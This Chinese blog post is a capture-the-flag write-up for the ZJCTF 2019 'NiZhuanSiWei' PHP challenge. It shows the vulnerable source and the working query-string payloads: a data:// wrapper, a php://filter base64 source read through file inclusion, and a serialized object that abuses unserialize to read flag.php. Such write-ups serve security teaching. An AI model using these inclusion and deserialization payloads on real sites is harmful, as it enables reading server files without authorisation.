[ZJCTF 2019]NiZhuanSiWei
打开之后是一段源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php $text = $_GET [ "text" ]; $file = $_GET [ "file" ]; $password = $_GET [ "password" ]; if (isset( $text )&&( file_get_contents ( $text , 'r' )=== "welcome to the zjctf" )){ echo "<br><h1>" . file_get_contents ( $text , 'r' ). "</h1></br>" ; if (preg_match( "/flag/" , $file )){ echo "Not now!" ; exit (); } else { include ( $file ); //useless.php $password = unserialize( $password ); echo $password ; } } else { highlight_file( __FILE__ ); } ?> |
首先我们需要传进三个参数,text,file,password
想要进入第一个if条件,我们需要传入text,同时读取text文件使其内容为
1 | welcome to the zjctf<br>我们可以使用php伪协议中的data绕过 |
1 2 3 | data: //text/plain;base64,base编码字符串 很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入 |
于是我们构造
1 | ?text=data: //text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= |
绕过第一步之后页面显示为:
接着,我们可以传入file变量读取文件,除了包含flag的文件之外的都可以读取
刚好源代码里面还有useless.php,同时后面还有反序列化的操作,所以我们需要知道序列化的类的代码
使用php伪协议里面的filter来读取源代码
1 2 3 4 5 | php: //filter 经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用. php: //filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxxphp://filter/convert.base64-[encode/decode]/resource=xxx |
filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。
这是使用的过滤器是convert.base64-encode.它的作用就是读取upload.php的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据
php://filter在CTF里面经常会遇到,这里我们构造
1 | ?text=data: //text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php |
将读取到的源代码解码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php class Flag{ //flag.php public $file ; public function __tostring(){ if (isset( $this ->file)){ echo file_get_contents ( $this ->file); echo "<br>" ; return ( "U R SO CLOSE !///COME ON PLZ" ); } } } ?> |
可以看到有读取文件的操作,对于Flag里面的file变量,在线输出一下序列化的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | <?php class Flag{ //flag.php public $file = "flag.php" ; public function __tostring(){ if (isset( $this ->file)){ echo file_get_contents ( $this ->file); echo "<br>" ; return ( "U R SO CLOSE !///COME ON PLZ" ); } } } $test = new Flag(); echo serialize( $test ); ?> |
进一步构造读取flag.php
1 | ?text=data: //text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
查看源代码就可以得到flag
1 |
__EOF__

本文作者:春告鳥
本文链接:https://www.cnblogs.com/Cl0ud/p/12215582.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
本文链接:https://www.cnblogs.com/Cl0ud/p/12215582.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!